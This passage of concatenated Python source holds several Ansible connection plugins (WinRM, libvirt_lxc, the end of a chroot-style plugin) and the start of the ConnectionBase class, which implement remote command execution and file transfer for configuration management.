            raise AnsibleError("chroot connection requires dd command in the chroot")

        with open(to_bytes(out_path, errors='strict'), 'wb+') as out_file:
            try:
                chunk = p.stdout.read(BUFSIZE)
                while chunk:
                    out_file.write(chunk)
                    chunk = p.stdout.read(BUFSIZE)
            except:
                traceback.print_exc()
                raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))

    def close(self):
        ''' terminate the connection; nothing to do here '''
        super(Connection, self).close()
        self._connected = False






# (c) 2014, Chris Church <chris@ninemoreminutes.com>
#
# This file is part of Ansible.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import base64
import inspect
import os
import re
import shlex
import traceback
import json

from ansible.compat.six import string_types
from ansible.compat.six.moves.urllib.parse import urlunsplit
from ansible.errors import AnsibleError, AnsibleConnectionFailure

try:
    import winrm
    from winrm import Response
    from winrm.protocol import Protocol
except ImportError:
    raise AnsibleError("winrm is not installed")

try:
    import xmltodict
except ImportError:
    raise AnsibleError("xmltodict is not installed")

HAVE_KERBEROS = False
try:
    import kerberos
    HAVE_KERBEROS = True
except ImportError:
    pass

from ansible.errors import AnsibleFileNotFound
from ansible.plugins.connection import ConnectionBase
from ansible.utils.hashing import secure_hash
from ansible.utils.path import makedirs_safe
from ansible.utils.unicode import to_bytes, to_unicode, to_str

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class Connection(ConnectionBase):
    '''WinRM connections over HTTP/HTTPS.'''

    transport = 'winrm'
    module_implementation_preferences = ('.ps1', '.exe', '')
    become_methods = []
    allow_executable = False

    def __init__(self,  *args, **kwargs):

        self.has_pipelining   = False
        self.protocol         = None
        self.shell_id         = None
        self.delegate         = None
        self._shell_type      = 'powershell'

        # FUTURE: Add runas support

        super(Connection, self).__init__(*args, **kwargs)

    def set_host_overrides(self, host, hostvars=None):
        '''
        Override WinRM-specific options from host variables.
        '''
        self._winrm_host = self._play_context.remote_addr
        self._winrm_port = int(self._play_context.port or 5986)
        self._winrm_scheme = hostvars.get('ansible_winrm_scheme', 'http' if self._winrm_port == 5985 else 'https')
        self._winrm_path = hostvars.get('ansible_winrm_path', '/wsman')
        self._winrm_user = self._play_context.remote_user
        self._winrm_pass = self._play_context.password

        if hasattr(winrm, 'FEATURE_SUPPORTED_AUTHTYPES'):
            self._winrm_supported_authtypes = set(winrm.FEATURE_SUPPORTED_AUTHTYPES)
        else:
            # for legacy versions of pywinrm, use the values we know are supported
            self._winrm_supported_authtypes = set(['plaintext','ssl','kerberos'])

        # TODO: figure out what we want to do with auto-transport selection in the face of NTLM/Kerb/CredSSP/Cert/Basic
        transport_selector = 'ssl' if self._winrm_scheme == 'https' else 'plaintext'

        if HAVE_KERBEROS and ((self._winrm_user and '@' in self._winrm_user)):
            self._winrm_transport = 'kerberos,%s' % transport_selector
        else:
            self._winrm_transport = transport_selector
        self._winrm_transport = hostvars.get('ansible_winrm_transport', self._winrm_transport)
        if isinstance(self._winrm_transport, string_types):
            self._winrm_transport = [x.strip() for x in self._winrm_transport.split(',') if x.strip()]

        unsupported_transports = set(self._winrm_transport).difference(self._winrm_supported_authtypes)

        if unsupported_transports:
            raise AnsibleError('The installed version of WinRM does not support transport(s) %s' % list(unsupported_transports))

        # arg names we're going passing directly
        internal_kwarg_mask = set(['self', 'endpoint', 'transport', 'username', 'password', 'scheme', 'path'])

        self._winrm_kwargs = dict(username=self._winrm_user, password=self._winrm_pass)
        argspec = inspect.getargspec(Protocol.__init__)
        supported_winrm_args = set(argspec.args)
        supported_winrm_args.update(internal_kwarg_mask)
        passed_winrm_args = set([v.replace('ansible_winrm_', '') for v in hostvars if v.startswith('ansible_winrm_')])
        unsupported_args = passed_winrm_args.difference(supported_winrm_args)

        # warn for kwargs unsupported by the installed version of pywinrm
        for arg in unsupported_args:
            display.warning("ansible_winrm_{0} unsupported by pywinrm (is an up-to-date version of pywinrm installed?)".format(arg))

        # pass through matching kwargs, excluding the list we want to treat specially
        for arg in passed_winrm_args.difference(internal_kwarg_mask).intersection(supported_winrm_args):
            self._winrm_kwargs[arg] = hostvars['ansible_winrm_%s' % arg]

    def _winrm_connect(self):
        '''
        Establish a WinRM connection over HTTP/HTTPS.
        '''
        display.vvv("ESTABLISH WINRM CONNECTION FOR USER: %s on PORT %s TO %s" %
            (self._winrm_user, self._winrm_port, self._winrm_host), host=self._winrm_host)
        netloc = '%s:%d' % (self._winrm_host, self._winrm_port)
        endpoint = urlunsplit((self._winrm_scheme, netloc, self._winrm_path, '', ''))
        errors = []
        for transport in self._winrm_transport:
            if transport == 'kerberos' and not HAVE_KERBEROS:
                errors.append('kerberos: the python kerberos library is not installed')
                continue
            display.vvvvv('WINRM CONNECT: transport=%s endpoint=%s' % (transport, endpoint), host=self._winrm_host)
            try:
                protocol = Protocol(endpoint, transport=transport, **self._winrm_kwargs)

                # open the shell from connect so we know we're able to talk to the server
                if not self.shell_id:
                    self.shell_id = protocol.open_shell(codepage=65001)  # UTF-8
                    display.vvvvv('WINRM OPEN SHELL: %s' % self.shell_id, host=self._winrm_host)

                return protocol
            except Exception as e:
                err_msg = to_unicode(e).strip()
                if re.search(to_unicode(r'Operation\s+?timed\s+?out'), err_msg, re.I):
                    raise AnsibleError('the connection attempt timed out')
                m = re.search(to_unicode(r'Code\s+?(\d{3})'), err_msg)
                if m:
                    code = int(m.groups()[0])
                    if code == 401:
                        err_msg = 'the specified credentials were rejected by the server'
                    elif code == 411:
                        return protocol
                errors.append(u'%s: %s' % (transport, err_msg))
                display.vvvvv(u'WINRM CONNECTION ERROR: %s\n%s' % (err_msg, to_unicode(traceback.format_exc())), host=self._winrm_host)
        if errors:
            raise AnsibleConnectionFailure(', '.join(map(to_str, errors)))
        else:
            raise AnsibleError('No transport found for WinRM connection')

    def _winrm_send_input(self, protocol, shell_id, command_id, stdin, eof=False):
        rq = {'env:Envelope': protocol._get_soap_header(
            resource_uri='http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd',
            action='http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Send',
            shell_id=shell_id)}
        stream = rq['env:Envelope'].setdefault('env:Body', {}).setdefault('rsp:Send', {})\
            .setdefault('rsp:Stream', {})
        stream['@Name'] = 'stdin'
        stream['@CommandId'] = command_id
        stream['#text'] = base64.b64encode(to_bytes(stdin))
        if eof:
            stream['@End'] = 'true'
        protocol.send_message(xmltodict.unparse(rq))

    def _winrm_exec(self, command, args=(), from_exec=False, stdin_iterator=None):
        if not self.protocol:
            self.protocol = self._winrm_connect()
            self._connected = True
        if from_exec:
            display.vvvvv("WINRM EXEC %r %r" % (command, args), host=self._winrm_host)
        else:
            display.vvvvvv("WINRM EXEC %r %r" % (command, args), host=self._winrm_host)
        command_id = None
        try:
            stdin_push_failed = False
            command_id = self.protocol.run_command(self.shell_id, to_bytes(command), map(to_bytes, args), console_mode_stdin=(stdin_iterator is None))

            # TODO: try/except around this, so we can get/return the command result on a broken pipe or other failure (probably more useful than the 500 that comes from this)
            try:
                if stdin_iterator:
                    for (data, is_last) in stdin_iterator:
                        self._winrm_send_input(self.protocol, self.shell_id, command_id, data, eof=is_last)

            except Exception as ex:
                from traceback import format_exc
                display.warning("FATAL ERROR DURING FILE TRANSFER: %s" % format_exc(ex))
                stdin_push_failed = True

            if stdin_push_failed:
                raise AnsibleError('winrm send_input failed')

            # NB: this can hang if the receiver is still running (eg, network failed a Send request but the server's still happy).
            # FUTURE: Consider adding pywinrm status check/abort operations to see if the target is still running after a failure.
            response = Response(self.protocol.get_command_output(self.shell_id, command_id))

            # TODO: check result from response and set stdin_push_failed if we have nonzero
            if from_exec:
                display.vvvvv('WINRM RESULT %r' % to_unicode(response), host=self._winrm_host)
            else:
                display.vvvvvv('WINRM RESULT %r' % to_unicode(response), host=self._winrm_host)

            display.vvvvvv('WINRM STDOUT %s' % to_unicode(response.std_out), host=self._winrm_host)
            display.vvvvvv('WINRM STDERR %s' % to_unicode(response.std_err), host=self._winrm_host)

            if stdin_push_failed:
                raise AnsibleError('winrm send_input failed; \nstdout: %s\nstderr %s' % (response.std_out, response.std_err))

            return response
        finally:
            if command_id:
                self.protocol.cleanup_command(self.shell_id, command_id)

    def _connect(self):
        super(Connection, self)._connect()
        if not self.protocol:
            self.protocol = self._winrm_connect()
            self._connected = True
        return self

    def _reset(self):  # used by win_reboot (and any other action that might need to bounce the state)
        self.protocol = None
        self.shell_id = None
        self._connect()

    def exec_command(self, cmd, in_data=None, sudoable=True):
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)
        cmd_parts = shlex.split(to_bytes(cmd), posix=False)
        cmd_parts = map(to_unicode, cmd_parts)
        script = None
        cmd_ext = cmd_parts and self._shell._unquote(cmd_parts[0]).lower()[-4:] or ''
        # Support running .ps1 files (via script/raw).
        if cmd_ext == '.ps1':
            script = '& %s' % cmd
        # Support running .bat/.cmd files; change back to the default system encoding instead of UTF-8.
        elif cmd_ext in ('.bat', '.cmd'):
            script = '[System.Console]::OutputEncoding = [System.Text.Encoding]::Default; & %s' % cmd
        # Encode the command if not already encoded; supports running simple PowerShell commands via raw.
        elif '-EncodedCommand' not in cmd_parts:
            script = cmd
        if script:
            cmd_parts = self._shell._encode_script(script, as_list=True, strict_mode=False)
        if '-EncodedCommand' in cmd_parts:
            encoded_cmd = cmd_parts[cmd_parts.index('-EncodedCommand') + 1]
            decoded_cmd = to_unicode(base64.b64decode(encoded_cmd).decode('utf-16-le'))
            display.vvv("EXEC %s" % decoded_cmd, host=self._winrm_host)
        else:
            display.vvv("EXEC %s" % cmd, host=self._winrm_host)
        try:
            result = self._winrm_exec(cmd_parts[0], cmd_parts[1:], from_exec=True)
        except Exception:
            traceback.print_exc()
            raise AnsibleConnectionFailure("failed to exec cmd %s" % cmd)
        result.std_out = to_bytes(result.std_out)
        result.std_err = to_bytes(result.std_err)

        # parse just stderr from CLIXML output
        if self.is_clixml(result.std_err):
            try:
                result.std_err = self.parse_clixml_stream(result.std_err)
            except:
                # unsure if we're guaranteed a valid xml doc- use raw output in case of error
                pass

        return (result.status_code, result.std_out, result.std_err)

    def is_clixml(self, value):
        return value.startswith("#< CLIXML")

    # hacky way to get just stdout- not always sure of doc framing here, so use with care
    def parse_clixml_stream(self, clixml_doc, stream_name='Error'):
        clear_xml = clixml_doc.replace('#< CLIXML\r\n', '')
        doc = xmltodict.parse(clear_xml)
        lines = [l.get('#text', '').replace('_x000D__x000A_', '') for l in doc.get('Objs', {}).get('S', {}) if l.get('@S') == stream_name]
        return '\r\n'.join(lines)

    # FUTURE: determine buffer size at runtime via remote winrm config?
    def _put_file_stdin_iterator(self, in_path, out_path, buffer_size=250000):
        in_size = os.path.getsize(to_bytes(in_path, errors='strict'))
        offset = 0
        with open(to_bytes(in_path, errors='strict'), 'rb') as in_file:
            for out_data in iter((lambda:in_file.read(buffer_size)), ''):
                offset += len(out_data)
                self._display.vvvvv('WINRM PUT "%s" to "%s" (offset=%d size=%d)' % (in_path, out_path, offset, len(out_data)), host=self._winrm_host)
                # yes, we're double-encoding over the wire in this case- we want to ensure that the data shipped to the end PS pipeline is still b64-encoded
                b64_data = base64.b64encode(out_data) + '\r\n'
                # cough up the data, as well as an indicator if this is the last chunk so winrm_send knows to set the End signal
                yield b64_data, (in_file.tell() == in_size)

            if offset == 0:  # empty file, return an empty buffer + eof to close it
                yield "", True

    def put_file(self, in_path, out_path):
        super(Connection, self).put_file(in_path, out_path)
        out_path = self._shell._unquote(out_path)
        display.vvv('PUT "%s" TO "%s"' % (in_path, out_path), host=self._winrm_host)
        if not os.path.exists(to_bytes(in_path, errors='strict')):
            raise AnsibleFileNotFound('file or module does not exist: "%s"' % in_path)

        script_template = u'''
            begin {{
                $path = '{0}'

                $DebugPreference = "Continue"
                $ErrorActionPreference = "Stop"
                Set-StrictMode -Version 2

                $fd = [System.IO.File]::Create($path)

                $sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()

                $bytes = @() #initialize for empty file case
            }}
            process {{
               $bytes = [System.Convert]::FromBase64String($input)
               $sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
               $fd.Write($bytes, 0, $bytes.Length)
            }}
            end {{
                $sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null

                $hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()

                $fd.Close()

                Write-Output "{{""sha1"":""$hash""}}"
            }}
        '''

        script = script_template.format(self._shell._escape(out_path))
        cmd_parts = self._shell._encode_script(script, as_list=True, strict_mode=False)

        result = self._winrm_exec(cmd_parts[0], cmd_parts[1:], stdin_iterator=self._put_file_stdin_iterator(in_path, out_path))
        # TODO: improve error handling
        if result.status_code != 0:
            raise AnsibleError(to_str(result.std_err))

        put_output = json.loads(result.std_out)
        remote_sha1 = put_output.get("sha1")

        if not remote_sha1:
            raise AnsibleError("Remote sha1 was not returned")

        local_sha1 = secure_hash(in_path)

        if not remote_sha1 == local_sha1:
            raise AnsibleError("Remote sha1 hash {0} does not match local hash {1}".format(to_str(remote_sha1), to_str(local_sha1)))

    def fetch_file(self, in_path, out_path):
        super(Connection, self).fetch_file(in_path, out_path)
        in_path = self._shell._unquote(in_path)
        out_path = out_path.replace('\\', '/')
        display.vvv('FETCH "%s" TO "%s"' % (in_path, out_path), host=self._winrm_host)
        buffer_size = 2**19  # 0.5MB chunks
        makedirs_safe(os.path.dirname(out_path))
        out_file = None
        try:
            offset = 0
            while True:
                try:
                    script = '''
                        If (Test-Path -PathType Leaf "%(path)s")
                        {
                            $stream = [System.IO.File]::OpenRead("%(path)s");
                            $stream.Seek(%(offset)d, [System.IO.SeekOrigin]::Begin) | Out-Null;
                            $buffer = New-Object Byte[] %(buffer_size)d;
                            $bytesRead = $stream.Read($buffer, 0, %(buffer_size)d);
                            $bytes = $buffer[0..($bytesRead-1)];
                            [System.Convert]::ToBase64String($bytes);
                            $stream.Close() | Out-Null;
                        }
                        ElseIf (Test-Path -PathType Container "%(path)s")
                        {
                            Write-Host "[DIR]";
                        }
                        Else
                        {
                            Write-Error "%(path)s does not exist";
                            Exit 1;
                        }
                    ''' % dict(buffer_size=buffer_size, path=self._shell._escape(in_path), offset=offset)
                    display.vvvvv('WINRM FETCH "%s" to "%s" (offset=%d)' % (in_path, out_path, offset), host=self._winrm_host)
                    cmd_parts = self._shell._encode_script(script, as_list=True)
                    result = self._winrm_exec(cmd_parts[0], cmd_parts[1:])
                    if result.status_code != 0:
                        raise IOError(to_str(result.std_err))
                    if result.std_out.strip() == '[DIR]':
                        data = None
                    else:
                        data = base64.b64decode(result.std_out.strip())
                    if data is None:
                        makedirs_safe(out_path)
                        break
                    else:
                        if not out_file:
                            # If out_path is a directory and we're expecting a file, bail out now.
                            if os.path.isdir(to_bytes(out_path, errors='strict')):
                                break
                            out_file = open(to_bytes(out_path, errors='strict'), 'wb')
                        out_file.write(data)
                        if len(data) < buffer_size:
                            break
                        offset += len(data)
                except Exception:
                    traceback.print_exc()
                    raise AnsibleError('failed to transfer file to "%s"' % out_path)
        finally:
            if out_file:
                out_file.close()

    def close(self):
        if self.protocol and self.shell_id:
            display.vvvvv('WINRM CLOSE SHELL: %s' % self.shell_id, host=self._winrm_host)
            self.protocol.close_shell(self.shell_id)
        self.shell_id = None
        self.protocol = None
        self._connected = False






# Based on local.py (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# Based on chroot.py (c) 2013, Maykel Moya <mmoya@speedyrails.com>
# (c) 2013, Michael Scherer <misc@zarb.org>
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import distutils.spawn
import os
import os.path
import pipes
import subprocess
import traceback

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.plugins.connection import ConnectionBase, BUFSIZE
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class Connection(ConnectionBase):
    ''' Local lxc based connections '''

    transport = 'libvirt_lxc'
    has_pipelining = True
    # su currently has an undiagnosed issue with calculating the file
    # checksums (so copy, for instance, doesn't work right)
    # Have to look into that before re-enabling this
    become_methods = frozenset(C.BECOME_METHODS).difference(('su',))

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)
        self.lxc = self._play_context.remote_addr

        self.virsh = self._search_executable('virsh')

        self._check_domain(self.lxc)

    def _search_executable(self, executable):
        cmd = distutils.spawn.find_executable(executable)
        if not cmd:
            raise AnsibleError("%s command not found in PATH") % executable
        return cmd

    def _check_domain(self, domain):
        p = subprocess.Popen([self.virsh, '-q', '-c', 'lxc:///', 'dominfo', to_bytes(domain)],
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        p.communicate()
        if p.returncode:
            raise AnsibleError("%s is not a lxc defined in libvirt" % domain)

    def _connect(self):
        ''' connect to the lxc; nothing to do here '''
        super(Connection, self)._connect()
        if not self._connected:
            display.vvv("THIS IS A LOCAL LXC DIR", host=self.lxc)
            self._connected = True

    def _buffered_exec_command(self, cmd, stdin=subprocess.PIPE):
        ''' run a command on the chroot.  This is only needed for implementing
        put_file() get_file() so that we don't have to read the whole file
        into memory.

        compared to exec_command() it looses some niceties like being able to
        return the process's exit code immediately.
        '''
        executable = C.DEFAULT_EXECUTABLE.split()[0] if C.DEFAULT_EXECUTABLE else '/bin/sh'
        local_cmd = [self.virsh, '-q', '-c', 'lxc:///', 'lxc-enter-namespace']

        if C.DEFAULT_LIBVIRT_LXC_NOSECLABEL:
            local_cmd += ['--noseclabel']

        local_cmd += [self.lxc, '--', executable, '-c', cmd]

        display.vvv("EXEC %s" % (local_cmd,), host=self.lxc)
        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]
        p = subprocess.Popen(local_cmd, shell=False, stdin=stdin,
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        return p

    def exec_command(self, cmd, in_data=None, sudoable=False):
        ''' run a command on the chroot '''
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        p = self._buffered_exec_command(cmd)

        stdout, stderr = p.communicate(in_data)
        return (p.returncode, stdout, stderr)

    def _prefix_login_path(self, remote_path):
        ''' Make sure that we put files into a standard path

            If a path is relative, then we need to choose where to put it.
            ssh chooses $HOME but we aren't guaranteed that a home dir will
            exist in any given chroot.  So for now we're choosing "/" instead.
            This also happens to be the former default.

            Can revisit using $HOME instead if it's a problem
        '''
        if not remote_path.startswith(os.path.sep):
            remote_path = os.path.join(os.path.sep, remote_path)
        return os.path.normpath(remote_path)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to lxc '''
        super(Connection, self).put_file(in_path, out_path)
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self.lxc)

        out_path = pipes.quote(self._prefix_login_path(out_path))
        try:
            with open(to_bytes(in_path, errors='strict'), 'rb') as in_file:
                try:
                    p = self._buffered_exec_command('dd of=%s bs=%s' % (out_path, BUFSIZE), stdin=in_file)
                except OSError:
                    raise AnsibleError("chroot connection requires dd command in the chroot")
                try:
                    stdout, stderr = p.communicate()
                except:
                    traceback.print_exc()
                    raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
                if p.returncode != 0:
                    raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))
        except IOError:
            raise AnsibleError("file or module does not exist at: %s" % in_path)

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from lxc to local '''
        super(Connection, self).fetch_file(in_path, out_path)
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self.lxc)

        in_path = pipes.quote(self._prefix_login_path(in_path))
        try:
            p = self._buffered_exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE))
        except OSError:
            raise AnsibleError("chroot connection requires dd command in the chroot")

        with open(to_bytes(out_path, errors='strict'), 'wb+') as out_file:
            try:
                chunk = p.stdout.read(BUFSIZE)
                while chunk:
                    out_file.write(chunk)
                    chunk = p.stdout.read(BUFSIZE)
            except:
                traceback.print_exc()
                raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))

    def close(self):
        ''' terminate the connection; nothing to do here '''
        super(Connection, self).close()
        self._connected = False







# (c) 2015 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import fcntl
import gettext
import os
import shlex
from abc import ABCMeta, abstractmethod, abstractproperty

from functools import wraps
from ansible.compat.six import with_metaclass

from ansible import constants as C
from ansible.compat.six import string_types
from ansible.errors import AnsibleError
from ansible.plugins import shell_loader
from ansible.utils.unicode import to_bytes, to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['ConnectionBase', 'ensure_connect']

BUFSIZE = 65536


def ensure_connect(func):
    @wraps(func)
    def wrapped(self, *args, **kwargs):
        self._connect()
        return func(self, *args, **kwargs)
    return wrapped


class ConnectionBase(with_metaclass(ABCMeta, object)):
    '''
    A base class for connections to contain common code.
    '''

    has_pipelining = False
    become_methods = C.BECOME_METHODS
    # When running over this connection type, prefer modules written in a certain language
    # as discovered by the specified file extension.  An empty string as the
    # language means any language.
    module_implementation_preferences = ('',)
    allow_executable = True

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        # All these hasattrs allow subclasses to override these parameters
        if not hasattr(self, '_play_context'):
            self._play_context = play_context
        if not hasattr(self, '_new_stdin'):
            self._new_stdin = new_stdin
        # Backwards compat: self._display isn't really needed, just import the global display and use that.
        if not hasattr(self, '_display'):
            self._display = display
        if not hasattr(self, '_connected'):
            self._connected = False

        self.success_key = None
        self.prompt = None
        self._connected = False

        # load the shell plugin for this action/connection
        if play_context.shell:
            shell_type = play_context.shell
        elif hasattr(self, '_shell_type'):
            shell_type = getattr(self, '_shell_type')
        else:
            shell_type = 'sh'
            shell_filename = os.path.basename(self._play_context.executable)
            for shell in shell_loader.all():
                if shell_filename in shell.COMPATIBLE_SHELLS:
                    shell_type = shell.SHELL_FAMILY
                    break

        self._shell = shell_loader.get(shell_type)
        if not self._shell:
            raise AnsibleError("Invalid shell type specified (%s), or the plugin for that shell type is missing." % shell_type)

    @property
    def connected(self):
        '''Read-only property holding whether the connection to the remote host is active or closed.'''
        return self._connected

    def _become_method_supported(self):
        ''' Checks if the current class supports this privilege escalation method '''

        if self._play_context.become_method in self.become_methods:
            return True

        raise AnsibleError("Internal Error: this connection module does not support running commands via %s" % self._play_context.become_method)

    def set_host_overrides(self, host, hostvars=None):
        '''
        An optional method, which can be used to set connection plugin parameters
        from variables set on the host (or groups to which the host belongs)

        Any connection plugin using this should first initialize its attributes in
        an overridden `def __init__(self):`, and then use `host.get_vars()` to find
        variables which may be used to set those attributes in this method.
        '''
        pass

    @staticmethod
    def _split_ssh_args(argstring):
        """
        Takes a string like '-o Foo=1 -o Bar="foo bar"' and returns a
        list ['-o', 'Foo=1', '-o', 'Bar=foo bar'] that can be added to
        the argument list. The list will not contain any empty elements.
        """
        try:
            # Python 2.6.x shlex doesn't handle unicode type so we have to
            # convert args to byte string for that case.  More efficient to
            # try without conversion first but python2.6 doesn't throw an
            # exception, it merely mangles the output:
            # >>> shlex.split(u't e')
            # ['t\x00\x00\x00', '\x00\x00\x00e\x00\x00\x00']
            return [to_unicode(x.strip()) for x in shlex.split(to_bytes(argstring)) if x.strip()]
        except AttributeError:
            return [to_unicode(x.strip()) for x in shlex.split(argstring) if x.strip()]

    @abstractproperty
    def transport(self):
        """String used to identify this Connection class from other classes"""
        pass

    @abstractmethod
    def _connect(self):
        """Connect to the host we've been initialized with"""

        # Check if PE is supported
        if self._play_context.become:
            self._become_method_supported()

    @ensure_connect
    @abstractmethod
    def exec_command(self, cmd, in_data=None, sudoable=True):
        """Run a command on the remote host.

        :arg cmd: byte string containing the command
        :kwarg in_data: If set, this data is passed to the command's stdin.
            This is used to implement pipelining.  Currently not all
            connection plugins implement pipelining.
        :kwarg sudoable: Tell the connection plugin if we're executing
            a command via a privilege escalation mechanism.  This may affect
            how the connection plugin returns data.  Note that not all
            connections can handle privilege escalation.
        :returns: a tuple of (return code, stdout, stderr)  The return code is
            an int while stdout and stderr are both byte strings.

        When a command is executed, it goes through multiple commands to get
        there.  It looks approximately like this::

            [LocalShell] ConnectionCommand [UsersLoginShell (*)] ANSIBLE_SHELL_EXECUTABLE [(BecomeCommand ANSIBLE_SHELL_EXECUTABLE)] Command
        :LocalShell: Is optional.  It is run locally to invoke the
            ``Connection Command``.  In most instances, the
            ``ConnectionCommand`` can be invoked directly instead.  The ssh
            connection plugin which can have values that need expanding
            locally specified via ssh_args is the sole known exception to
            this.  Shell metacharacters in the command itself should be
            processed on the remote machine, not on the local machine so no
            shell is needed on the local machine.  (Example, ``/bin/sh``)
        :ConnectionCommand: This is the command that connects us to the remote
            machine to run the rest of the command.  ``ansible_ssh_user``,
            ``ansible_ssh_host`` and so forth are fed to this piece of the
            command to connect to the correct host (Examples ``ssh``,
            ``chroot``)
        :UsersLoginShell: This shell may or may not be created depending on
            the ConnectionCommand used by the connection plugin.  This is the
            shell that the ``ansible_ssh_user`` has configured as their login
            shell.  In traditional UNIX parlance, this is the last field of
            a user's ``/etc/passwd`` entry   We do not specifically try to run
            the ``UsersLoginShell`` when we connect.  Instead it is implicit
            in the actions that the ``ConnectionCommand`` takes when it
            connects to a remote machine.  ``ansible_shell_type`` may be set
            to inform ansible of differences in how the ``UsersLoginShell``
            handles things like quoting if a shell has different semantics
            than the Bourne shell.
        :ANSIBLE_SHELL_EXECUTABLE: This is the shell set via the inventory var
            ``ansible_shell_executable`` or via
            ``constants.DEFAULT_EXECUTABLE`` if the inventory var is not set.
            We explicitly invoke this shell so that we have predictable
            quoting rules at this point.  ``ANSIBLE_SHELL_EXECUTABLE`` is only
            settable by the user because some sudo setups may only allow
            invoking a specific shell.  (For instance, ``/bin/bash`` may be
            allowed but ``/bin/sh``, our default, may not).  We invoke this
            twice, once after the ``ConnectionCommand`` and once after the
            ``BecomeCommand``.  After the ConnectionCommand, this is run by
            the ``UsersLoginShell``.  After the ``BecomeCommand`` we specify
            that the ``ANSIBLE_SHELL_EXECUTABLE`` is being invoked directly.
        :BecomeComand ANSIBLE_SHELL_EXECUTABLE: Is the command that performs
            privilege escalation.  Setting this up is performed by the action
            plugin prior to running ``exec_command``. So we just get passed
            :param:`cmd` which has the BecomeCommand already added.
            (Examples: sudo, su)  If we have a BecomeCommand then we will
            invoke a ANSIBLE_SHELL_EXECUTABLE shell inside of it so that we
            have a consistent view of quoting.
        :Command: Is the command we're actually trying to run remotely.
            (Examples: mkdir -p $HOME/.ansible, python $HOME/.ansible/tmp-script-file)
        """
        pass

    @ensure_connect
    @abstractmethod
    def put_file(self, in_path, out_path):
        """Transfer a file from local to remote"""
        pass

    @ensure_connect
    @abstractmethod
    def fetch_file(self, in_path, out_path):
        """Fetch a file from remote to local"""
        pass

    @abstractmethod
    def close(self):
        """Terminate the connection"""
        pass

    def check_become_success(self, output):
        for line in output.splitlines(True):
            if self._play_context.success_key == line.rstrip():
                return True
        return False

    def check_password_prompt(self, output):
        if self._play_context.prompt is None:
            return False
        elif isinstance(self._play_context.prompt, string_types):
            return output.startswith(self._play_context.prompt)
        else:
            return self._play_context.prompt(output)

    def check_incorrect_password(self, output):
        incorrect_password = gettext.dgettext(self._play_context.become_method, C.BECOME_ERROR_STRINGS[self._play_context.become_method])
        return incorrect_password and incorrect_password in output

    def check_missing_password(self, output):
        missing_password = gettext.dgettext(self._play_context.become_method, C.BECOME_MISSING_STRINGS[self._play_context.become_method])
        return missing_password and missing_password in output

    def connection_lock(self):
        f = self._play_context.connection_lockfd
        display.vvvv('CONNECTION: pid %d waiting for lock on %d' % (os.getpid(), f), host=self._play_context.remote_addr)
        fcntl.lockf(f, fcntl.LOCK_EX)
        display.vvvv('CONNECTION: pid %d acquired lock on %d' % (os.getpid(), f), host=self._play_context.remote_addr)

    def connection_unlock(self):
        f = self._play_context.connection_lockfd
